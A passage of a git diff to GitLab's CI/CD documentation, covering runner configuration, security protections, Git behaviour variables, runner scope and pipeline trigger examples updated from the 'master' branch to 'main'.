hours** + +**Example 3 - Runner timeout smaller than project timeout** + +1. You set the _maximum job timeout_ for a runner to **30 minutes** +1. You set the _CI/CD Timeout_ for a project to 2 hours +1. You start a job +1. The job, if running longer, times out after **30 minutes** + +## Be careful with sensitive information + +With some [runner executors](https://docs.gitlab.com/runner/executors/README.html), +if you can run a job on the runner, you can get full access to the file system, +and thus any code it runs as well as the token of the runner. With shared runners, this means that anyone +that runs jobs on the runner, can access anyone else's code that runs on the +runner. + +In addition, because you can get access to the runner token, it is possible +to create a clone of a runner and submit false jobs, for example. + +The above is easily avoided by restricting the usage of shared runners +on large public GitLab instances, controlling access to your GitLab instance, +and using more secure [runner executors](https://docs.gitlab.com/runner/executors/README.html). + +### Prevent runners from revealing sensitive information + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13194) in GitLab 10.0. + +You can protect runners so they don't reveal sensitive information. +When a runner is protected, the runner picks jobs created on +[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only, +and ignores other jobs. + +To protect or unprotect a runner: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Find the runner you want to protect or unprotect. Make sure it's enabled. +1. Click the pencil button. +1. Check the **Protected** option. +1. Click **Save changes**. + + + +### Forks + +Whenever a project is forked, it copies the settings of the jobs that relate +to it. This means that if you have shared runners set up for a project and +someone forks that project, the shared runners serve jobs of this project. + +### Attack vectors in runners + +Mentioned briefly earlier, but the following things of runners can be exploited. +We're always looking for contributions that can mitigate these +[Security Considerations](https://docs.gitlab.com/runner/security/). + +### Reset the runner registration token for a project + +If you think that a registration token for a project was revealed, you should +reset it. A token can be used to register another runner for the project. That new runner +may then be used to obtain the values of secret variables or to clone project code. + +To reset the token: + +1. Go to the project's **Settings > CI/CD**. +1. Expand the **General pipelines settings** section. +1. Find the **Runner token** form field and click the **Reveal value** button. +1. Delete the value and save the form. +1. After the page is refreshed, expand the **Runners settings** section + and check the registration token - it should be changed. + +From now on the old token is no longer valid and does not register +any new runners to the project. If you are using any tools to provision and +register new runners, the tokens used in those tools should be updated to reflect the +value of the new token. + +## Determine the IP address of a runner + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17286) in GitLab 10.6. + +It may be useful to know the IP address of a runner so you can troubleshoot +issues with that runner. GitLab stores and displays the IP address by viewing +the source of the HTTP requests it makes to GitLab when polling for jobs. The +IP address is always kept up to date so if the runner IP changes it +automatically updates in GitLab. + +The IP address for shared runners and specific runners can be found in +different places. + +### Determine the IP address of a shared runner + +To view the IP address of a shared runner you must have admin access to +the GitLab instance. To determine this: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Runners**. +1. Find the runner in the table and view the **IP Address** column. + + + +### Determine the IP address of a specific runner + +To can find the IP address of a runner for a specific project, +you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the +project. + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. On the details page you should see a row for **IP Address**. + + + +## Use tags to limit the number of jobs using the runner + +You must set up a runner to be able to run all the different types of jobs +that it may encounter on the projects it's shared over. This would be +problematic for large amounts of projects, if it weren't for tags. + +GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with runners. +Git tags are associated with commits. + +By tagging a runner for the types of jobs it can handle, you can make sure +shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags). + +For instance, at GitLab we have runners tagged with `rails` if they contain +the appropriate dependencies to run Rails test suites. + +When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick** +[tagged jobs](../yaml/README.md#tags). +To change this, you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project. + +To make a runner pick untagged jobs: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Find the runner you want to pick untagged jobs and make sure it's enabled. +1. Click the pencil button. +1. Check the **Run untagged jobs** option. +1. Click the **Save changes** button for the changes to take effect. + +NOTE: +The runner tags list can not be empty when it's not allowed to pick untagged jobs. + +Below are some example scenarios of different variations. + +### runner runs only tagged jobs + +The following examples illustrate the potential impact of the runner being set +to run only tagged jobs. + +Example 1: + +1. The runner is configured to run only tagged jobs and has the `docker` tag. +1. A job that has a `hello` tag is executed and stuck. + +Example 2: + +1. The runner is configured to run only tagged jobs and has the `docker` tag. +1. A job that has a `docker` tag is executed and run. + +Example 3: + +1. The runner is configured to run only tagged jobs and has the `docker` tag. +1. A job that has no tags defined is executed and stuck. + +### runner is allowed to run untagged jobs + +The following examples illustrate the potential impact of the runner being set +to run tagged and untagged jobs. + +Example 1: + +1. The runner is configured to run untagged jobs and has the `docker` tag. +1. A job that has no tags defined is executed and run. +1. A second job that has a `docker` tag defined is executed and run. + +Example 2: + +1. The runner is configured to run untagged jobs and has no tags defined. +1. A job that has no tags defined is executed and run. +1. A second job that has a `docker` tag defined is stuck. + +## Configure runner behavior with variables + +You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior +globally or for individual jobs: + +- [`GIT_STRATEGY`](#git-strategy) +- [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) +- [`GIT_CHECKOUT`](#git-checkout) +- [`GIT_CLEAN_FLAGS`](#git-clean-flags) +- [`GIT_FETCH_EXTRA_FLAGS`](#git-fetch-extra-flags) +- [`GIT_DEPTH`](#shallow-cloning) (shallow cloning) +- [`GIT_CLONE_PATH`](#custom-build-directories) (custom build directories) + +You can also use variables to configure how many times a runner +[attempts certain stages of job execution](#job-stages-attempts). + +### Git strategy + +> - Introduced in GitLab 8.9 as an experimental feature. +> - `GIT_STRATEGY=none` requires GitLab Runner v1.7+. + +You can set the `GIT_STRATEGY` used to fetch the repository content, either +globally or per-job in the [`variables`](../yaml/README.md#variables) section: + +```yaml +variables: + GIT_STRATEGY: clone +``` + +There are three possible values: `clone`, `fetch`, and `none`. If left unspecified, +jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy). + +`clone` is the slowest option. It clones the repository from scratch for every +job, ensuring that the local working copy is always pristine. +If an existing worktree is found, it is removed before cloning. + +`fetch` is faster as it re-uses the local working copy (falling back to `clone` +if it does not exist). `git clean` is used to undo any changes made by the last +job, and `git fetch` is used to retrieve commits made after the last job ran. + +However, `fetch` does require access to the previous worktree. This works +well when using the `shell` or `docker` executor because these +try to preserve worktrees and try to re-use them by default. + +This has limitations when using the [Docker Machine executor](https://docs.gitlab.com/runner/executors/docker_machine.html). + +It does not work for [the `kubernetes` executor](https://docs.gitlab.com/runner/executors/kubernetes.html), +but a [feature proposal](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3847) exists. +The `kubernetes` executor always clones into an temporary directory. + +A Git strategy of `none` also re-uses the local working copy, but skips all Git +operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped, +if present. This strategy could mean you need to add `fetch` and `checkout` commands +to [your `.gitlab-ci.yml` script](../yaml/README.md#script). + +It can be used for jobs that operate exclusively on artifacts, like a deployment job. +Git repository data may be present, but it's likely out of date. You should only +rely on files brought into the local working copy from cache or artifacts. + +### Git submodule strategy + +> Requires GitLab Runner v1.10+. + +The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git +submodules are included when fetching the code before a build. You can set them +globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +There are three possible values: `none`, `normal`, and `recursive`: + +- `none` means that submodules are not included when fetching the project + code. This is the default, which matches the pre-v1.10 behavior. + +- `normal` means that only the top-level submodules are included. It's + equivalent to: + + ```shell + git submodule sync + git submodule update --init + ``` + +- `recursive` means that all submodules (including submodules of submodules) + are included. This feature needs Git v1.8.1 and later. When using a + GitLab Runner with an executor not based on Docker, make sure the Git version + meets that requirement. It's equivalent to: + + ```shell + git submodule sync --recursive + git submodule update --init --recursive + ``` + +For this feature to work correctly, the submodules must be configured +(in `.gitmodules`) with either: + +- the HTTP(S) URL of a publicly-accessible repository, or +- a relative path to another repository on the same GitLab server. See the + [Git submodules](../git_submodules.md) documentation. + +### Git checkout + +> Introduced in GitLab Runner 9.3. + +The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either +`clone` or `fetch` to specify whether a `git checkout` should be run. If not +specified, it defaults to true. You can set them globally or per-job in the +[`variables`](../yaml/README.md#variables) section. + +If set to `false`, the runner: + +- when doing `fetch` - updates the repository and leaves the working copy on + the current revision, +- when doing `clone` - clones the repository and leaves the working copy on the + default branch. + +If `GIT_CHECKOUT` is set to `true`, both `clone` and `fetch` work the same way. +The runner checks out the working copy of a revision related +to the CI pipeline: + +```yaml +variables: + GIT_STRATEGY: clone + GIT_CHECKOUT: "false" +script: + - git checkout -B master origin/master + - git merge $CI_COMMIT_SHA +``` + +### Git clean flags + +> Introduced in GitLab Runner 11.10 + +The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of +`git clean` after checking out the sources. You can set it globally or per-job in the +[`variables`](../yaml/README.md#variables) section. + +`GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean) +command. + +`git clean` is disabled if `GIT_CHECKOUT: "false"` is specified. + +If `GIT_CLEAN_FLAGS` is: + +- Not specified, `git clean` flags default to `-ffdx`. +- Given the value `none`, `git clean` is not executed. + +For example: + +```yaml +variables: + GIT_CLEAN_FLAGS: -ffdx -e cache/ +script: + - ls -al cache/ +``` + +### Git fetch extra flags + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1. + +The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of +`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +`GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified. + +The default flags are: + +- [GIT_DEPTH](#shallow-cloning). +- The list of [refspecs](https://git-scm.com/book/en/v2/Git-Internals-The-Refspec). +- A remote called `origin`. + +If `GIT_FETCH_EXTRA_FLAGS` is: + +- Not specified, `git fetch` flags default to `--prune --quiet` along with the default flags. +- Given the value `none`, `git fetch` is executed only with the default flags. + +For example, the default flags are `--prune --quiet`, so you can make `git fetch` more verbose by overriding this with just `--prune`: + +```yaml +variables: + GIT_FETCH_EXTRA_FLAGS: --prune +script: + - ls -al cache/ +``` + +The configuration above results in `git fetch` being called this way: + +```shell +git fetch origin $REFSPECS --depth 50 --prune +``` + +Where `$REFSPECS` is a value provided to the runner internally by GitLab. + +### Shallow cloning + +> Introduced in GitLab 8.9 as an experimental feature. + +You can specify the depth of fetching and cloning using `GIT_DEPTH`. +`GIT_DEPTH` does a shallow clone of the repository and can significantly speed up cloning. +It can be helpful for repositories with a large number of commits or old, large binaries. The value is +passed to `git fetch` and `git clone`. + +In GitLab 12.0 and later, newly-created projects automatically have a +[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone). + +If you use a depth of `1` and have a queue of jobs or retry +jobs, jobs may fail. + +Git fetching and cloning is based on a ref, such as a branch name, so runners +can't clone a specific commit SHA. If multiple jobs are in the queue, or +you're retrying an old job, the commit to be tested must be within the +Git history that is cloned. Setting too small a value for `GIT_DEPTH` can make +it impossible to run these old commits and `unresolved reference` is displayed in +job logs. You should then reconsider changing `GIT_DEPTH` to a higher value. + +Jobs that rely on `git describe` may not work correctly when `GIT_DEPTH` is +set since only part of the Git history is present. + +To fetch or clone only the last 3 commits: + +```yaml +variables: + GIT_DEPTH: "3" +``` + +You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +### Custom build directories + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2211) in GitLab Runner 11.10. + +By default, GitLab Runner clones the repository in a unique subpath of the +`$CI_BUILDS_DIR` directory. However, your project might require the code in a +specific directory (Go projects, for example). In that case, you can specify +the `GIT_CLONE_PATH` variable to tell the runner the directory to clone the +repository in: + +```yaml +variables: + GIT_CLONE_PATH: $CI_BUILDS_DIR/project-name + +test: + script: + - pwd +``` + +The `GIT_CLONE_PATH` has to always be within `$CI_BUILDS_DIR`. The directory set in `$CI_BUILDS_DIR` +is dependent on executor and configuration of [runners.builds_dir](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) +setting. + +This can only be used when `custom_build_dir` is enabled in the +[runner's configuration](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscustom_build_dir-section). +This is the default configuration for the `docker` and `kubernetes` executors. + +#### Handling concurrency + +An executor that uses a concurrency greater than `1` might lead +to failures. Multiple jobs might be working on the same directory if the `builds_dir` +is shared between jobs. + +The runner does not try to prevent this situation. It's up to the administrator +and developers to comply with the requirements of runner configuration. + +To avoid this scenario, you can use a unique path within `$CI_BUILDS_DIR`, because runner +exposes two additional variables that provide a unique `ID` of concurrency: + +- `$CI_CONCURRENT_ID`: Unique ID for all jobs running within the given executor. +- `$CI_CONCURRENT_PROJECT_ID`: Unique ID for all jobs running within the given executor and project. + +The most stable configuration that should work well in any scenario and on any executor +is to use `$CI_CONCURRENT_ID` in the `GIT_CLONE_PATH`. For example: + +```yaml +variables: + GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/project-name + +test: + script: + - pwd +``` + +The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH` +as the `$CI_PROJECT_PATH` provides a path of a repository. That is, `group/subgroup/project`. For example: + +```yaml +variables: + GIT_CLONE_PATH: $CI_BUILDS_DIR/$CI_CONCURRENT_ID/$CI_PROJECT_PATH + +test: + script: + - pwd +``` + +#### Nested paths + +The value of `GIT_CLONE_PATH` is expanded once and nesting variables +within is not supported. + +For example, you define both the variables below in your +`.gitlab-ci.yml` file: + +```yaml +variables: + GOPATH: $CI_BUILDS_DIR/go + GIT_CLONE_PATH: $GOPATH/src/namespace/project +``` + +The value of `GIT_CLONE_PATH` is expanded once into +`$CI_BUILDS_DIR/go/src/namespace/project`, and results in failure +because `$CI_BUILDS_DIR` is not expanded. + +### Job stages attempts + +> Introduced in GitLab, it requires GitLab Runner v1.9+. + +You can set the number of attempts that the running job tries to execute +the following stages: + +| Variable | Description | +|---------------------------------|--------------------------------------------------------| +| `ARTIFACT_DOWNLOAD_ATTEMPTS` | Number of attempts to download artifacts running a job | +| `EXECUTOR_JOB_SECTION_ATTEMPTS` | [In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) and later, the number of attempts to run a section in a job after a [`No Such Container`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4450) error ([Docker executor](https://docs.gitlab.com/runner/executors/docker.html) only). | +| `GET_SOURCES_ATTEMPTS` | Number of attempts to fetch sources running a job | +| `RESTORE_CACHE_ATTEMPTS` | Number of attempts to restore the cache running a job | + +The default is one single attempt. + +Example: + +```yaml +variables: + GET_SOURCES_ATTEMPTS: 3 +``` + +You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section. + +## System calls not available on GitLab.com shared runners + +GitLab.com shared runners run on CoreOS. This means that you cannot use some system calls, like `getlogin`, from the C standard library. + +## Artifact and cache settings + +> Introduced in GitLab Runner 13.9. + +Artifact and cache settings control the compression ratio of artifacts and caches. +Use these settings to specify the size of the archive produced by a job. + +- On a slow network, uploads might be faster for smaller archives. +- On a fast network where bandwidth and storage are not a concern, uploads might be faster using the fastest compression ratio, despite the archive produced being larger. + +For [GitLab Pages](../../user/project/pages/index.md) to serve +[HTTP Range requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Range_requests), artifacts +should use the `ARTIFACT_COMPRESSION_LEVEL: fastest` setting, as only uncompressed zip archives +support this feature. + +A meter can also be enabled to provide the rate of transfer for uploads and downloads. + +```yaml +variables: + # output upload and download progress every 2 seconds + TRANSFER_METER_FREQUENCY: "2s" + + # Use fast compression for artifacts, resulting in larger archives + ARTIFACT_COMPRESSION_LEVEL: "fast" + + # Use no compression for caches + CACHE_COMPRESSION_LEVEL: "fastest" +``` + +| Variable | Description | +|---------------------------------|--------------------------------------------------------| +| `TRANSFER_METER_FREQUENCY` | Specify how often to print the meter's transfer rate. It can be set to a duration (for example, `1s` or `1m30s`). A duration of `0` disables the meter (default). When a value is set, the pipeline shows a progress meter for artifact and cache uploads and downloads. | +| `ARTIFACT_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | +| `CACHE_COMPRESSION_LEVEL` | To adjust compression ratio, set to `fastest`, `fast`, `default`, `slow`, or `slowest`. This setting works with the Fastzip archiver only, so the GitLab Runner feature flag [`FF_USE_FASTZIP`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) must also be enabled. | diff --git a/doc/ci/runners/runners_scope.md b/doc/ci/runners/runners_scope.md new file mode 100644 index 00000000000..fa56be3a151 --- /dev/null +++ b/doc/ci/runners/runners_scope.md @@ -0,0 +1,251 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference +--- + +# The scope of runners + +Runners are available based on who you want to have access: + +- [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance. +- [Group runners](#group-runners) are available to all projects and subgroups in a group. +- [Specific runners](#specific-runners) are associated with specific projects. + Typically, specific runners are used for one project at a time. + +## Shared runners + +*Shared runners* are available to every project in a GitLab instance. + +Use shared runners when you have multiple jobs with similar requirements. Rather than +having multiple runners idling for many projects, you can have a few runners that handle +multiple projects. + +If you are using a self-managed instance of GitLab: + +- Your administrator can install and register shared runners by + going to your project's **Settings > CI/CD**, expanding the **Runners** section, + and clicking **Show runner installation instructions**. + These instructions are also available [in the documentation](https://docs.gitlab.com/runner/install/index.html). +- The administrator can also configure a maximum number of shared runner [pipeline minutes for + each group](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota). + +If you are using GitLab.com: + +- You can select from a list of [shared runners that GitLab maintains](../../user/gitlab_com/index.md#shared-runners). +- The shared runners consume the [pipelines minutes](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes) + included with your account. + +### Enable shared runners + +On GitLab.com, [shared runners](#shared-runners) are enabled in all projects by +default. + +On self-managed instances of GitLab, an administrator must [install](https://docs.gitlab.com/runner/install/index.html) +and [register](https://docs.gitlab.com/runner/register/index.html) them. + +You can also enable shared runners for individual projects. + +To enable shared runners: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Select **Enable shared runners for this project**. + +### Disable shared runners + +You can disable shared runners for individual projects or for groups. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the project +or group. + +To disable shared runners for a project: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. In the **Shared runners** area, select **Enable shared runners for this project** so the toggle is grayed-out. + +Shared runners are automatically disabled for a project: + +- If the shared runners setting for the parent group is disabled, and +- If overriding this setting is not permitted at the project level. + +To disable shared runners for a group: + +1. Go to the group's **Settings > CI/CD** and expand the **Runners** section. +1. In the **Shared runners** area, turn off the **Enable shared runners for this group** toggle. +1. Optionally, to allow shared runners to be enabled for individual projects or subgroups, + click **Allow projects and subgroups to override the group setting**. + +NOTE: +To re-enable the shared runners for a group, turn on the +**Enable shared runners for this group** toggle. +Then, an owner or maintainer must explicitly change this setting +for each project subgroup or project. + +### How shared runners pick jobs + +Shared runners process jobs by using a fair usage queue. This queue prevents +projects from creating hundreds of jobs and using all available +shared runner resources. + +The fair usage queue algorithm assigns jobs based on the projects that have the +fewest number of jobs already running on shared runners. + +**Example 1** + +If these jobs are in the queue: + +- Job 1 for Project 1 +- Job 2 for Project 1 +- Job 3 for Project 1 +- Job 4 for Project 2 +- Job 5 for Project 2 +- Job 6 for Project 3 + +The fair usage algorithm assigns jobs in this order: + +1. Job 1 is first, because it has the lowest job number from projects with no running jobs (that is, all projects). +1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running). +1. Job 6 is next, because 6 is now the lowest job number from projects with no running jobs (Projects 1 and 2 have jobs running). +1. Job 2 is next, because, of projects with the lowest number of jobs running (each has 1), it is the lowest job number. +1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3. +1. Finally is Job 3... because it's the only job left. + +--- + +**Example 2** + +If these jobs are in the queue: + +- Job 1 for Project 1 +- Job 2 for Project 1 +- Job 3 for Project 1 +- Job 4 for Project 2 +- Job 5 for Project 2 +- Job 6 for Project 3 + +The fair usage algorithm assigns jobs in this order: + +1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). +1. We finish Job 1. +1. Job 2 is next, because, having finished Job 1, all projects have 0 jobs running again, and 2 is the lowest available job number. +1. Job 4 is next, because with Project 1 running a Job, 4 is the lowest number from projects running no jobs (Projects 2 and 3). +1. We finish Job 4. +1. Job 5 is next, because having finished Job 4, Project 2 has no jobs running again. +1. Job 6 is next, because Project 3 is the only project left with no running jobs. +1. Lastly we choose Job 3... because, again, it's the only job left. + +## Group runners + +Use *Group runners* when you want all projects in a group +to have access to a set of runners. + +Group runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. + +### Create a group runner + +You can create a group runner for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group. + +To create a group runner: + +1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). +1. Go to the group you want to make the runner work for. +1. Go to **Settings > CI/CD** and expand the **Runners** section. +1. Note the URL and token. +1. [Register the runner](https://docs.gitlab.com/runner/register/). + +### View and manage group runners + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37366/) in GitLab 13.2. + +You can view and manage all runners for a group, its subgroups, and projects. +You can do this for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group. + +1. Go to the group where you want to view the runners. +1. Go to **Settings > CI/CD** and expand the **Runners** section. +1. The following fields are displayed. + + | Attribute | Description | + | ------------ | ----------- | + | Type | Displays the runner type: `group` or `specific`, together with the optional states `locked` and `paused` | + | Runner token | Token used to identify the runner, and that the runner uses to communicate with the GitLab instance | + | Description | Description given to the runner when it was created | + | Version | GitLab Runner version | + | IP address | IP address of the host on which the runner is registered | + | Projects | The count of projects to which the runner is assigned | + | Jobs | Total of jobs run by the runner | + | Tags | Tags associated with the runner | + | Last contact | Timestamp indicating when the GitLab instance last contacted the runner | + +From this page, you can edit, pause, and remove runners from the group, its subgroups, and projects. + +### Pause or remove a group runner + +You can pause or remove a group runner for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the group. + +1. Go to the group you want to remove or pause the runner for. +1. Go to **Settings > CI/CD** and expand the **Runners** section. +1. Click **Pause** or **Remove runner**. + - If you pause a group runner that is used by multiple projects, the runner pauses for all projects. + - From the group view, you cannot remove a runner that is assigned to more than one project. + You must remove it from each project first. +1. On the confirmation dialog, click **OK**. + +## Specific runners + +Use *Specific runners* when you want to use runners for specific projects. For example, +when you have: + +- Jobs with specific requirements, like a deploy job that requires credentials. +- Projects with a lot of CI activity that can benefit from being separate from other runners. + +You can set up a specific runner to be used by multiple projects. Specific runners +must be enabled for each project explicitly. + +Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. + +NOTE: +Specific runners do not get shared with forked projects automatically. +A fork *does* copy the CI/CD settings of the cloned repository. + +### Create a specific runner + +You can create a specific runner for your self-managed GitLab instance or for GitLab.com. +You must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project. + +To create a specific runner: + +1. [Install runner](https://docs.gitlab.com/runner/install/). +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Note the URL and token. +1. [Register the runner](https://docs.gitlab.com/runner/register/). + +### Enable a specific runner for a specific project + +A specific runner is available in the project it was created for. An administrator can +enable a specific runner to apply to additional projects. + +- You must have the [Owner role](../../user/permissions.md#group-members-permissions) for the + project. +- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). + +To enable or disable a specific runner for a project: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Click **Enable for this project** or **Disable for this project**. + +### Prevent a specific runner from being enabled for other projects + +You can configure a specific runner so it is "locked" and cannot be enabled for other projects. +This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), +but can also be changed later. + +To lock or unlock a runner: + +1. Go to the project's **Settings > CI/CD** and expand the **Runners** section. +1. Find the runner you want to lock or unlock. Make sure it's enabled. +1. Click the pencil button. +1. Check the **Lock to current projects** option. +1. Click **Save changes**. diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/services/README.md +++ b/doc/ci/services/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md index a0e15b4e960..8afe8c784f3 100644 --- a/doc/ci/services/gitlab.md +++ b/doc/ci/services/gitlab.md @@ -25,7 +25,7 @@ tests access to the GitLab API. ``` 1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`, - [assign them to a variable in the user interface](../variables/README.md#project-cicd-variables). + [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project). Then assign that variable to the corresponding variable in your `.gitlab-ci.yml` file. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index c94d6e3ea80..577a80407d7 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-01' --- This document was moved to [another location](index.md). diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index c04ff35212c..2222ed0aa43 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index 434adb0c8f3..b8d0df44598 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -56,9 +56,9 @@ and it creates a dependent pipeline relation visible on the trigger_pipeline: stage: deploy script: - - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" - only: - - tags + - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" + rules: + - if: $CI_COMMIT_TAG ``` Pipelines triggered that way also expose a special variable: @@ -81,10 +81,10 @@ build_submodule: stage: test script: - apt update && apt install -y unzip - - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/master/download?job=test&job_token=$CI_JOB_TOKEN" + - curl --location --output artifacts.zip "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test&job_token=$CI_JOB_TOKEN" - unzip artifacts.zip - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` This allows you to use that for multi-project pipelines and download artifacts @@ -140,21 +140,21 @@ By using cURL you can trigger a pipeline rerun with minimal effort, for example: ```shell curl --request POST \ --form token=TOKEN \ - --form ref=master \ + --form ref=main \ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` -In this case, the pipeline for the project with ID `9` runs on the `master` branch. +In this case, the pipeline for the project with ID `9` runs on the `main` branch. Alternatively, you can pass the `token` and `ref` arguments in the query string: ```shell curl --request POST \ - "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=master" + "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main" ``` You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that -you have two projects, A and B, and you want to trigger a pipeline on the `master` +you have two projects, A and B, and you want to trigger a pipeline on the `main` branch of project B whenever a tag on project A is created. This is the job you need to add in project A's `.gitlab-ci.yml`: @@ -162,9 +162,9 @@ need to add in project A's `.gitlab-ci.yml`: trigger_pipeline: stage: deploy script: - - 'curl --request POST --form token=TOKEN --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' - only: - - tags + - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"' + rules: + - if: $CI_COMMIT_TAG ``` This means that whenever a new tag is pushed on project A, the job runs and the @@ -178,7 +178,7 @@ To trigger a job from a webhook of another project you need to add the following webhook URL for Push and Tag events (change the project ID, ref and token): ```plaintext -https://gitlab.example.com/api/v4/projects/9/ref/master/trigger/pipeline?token=TOKEN +https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN ``` You should pass `ref` as part of the URL, to take precedence over `ref` from @@ -250,7 +250,7 @@ and the script of the `upload_package` job is run: ```shell curl --request POST \ --form token=TOKEN \ - --form ref=master \ + --form ref=main \ --form "variables[UPLOAD_TO_S3]=true" \ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` @@ -261,11 +261,11 @@ of all types of variables. ## Using cron to trigger nightly pipelines Whether you craft a 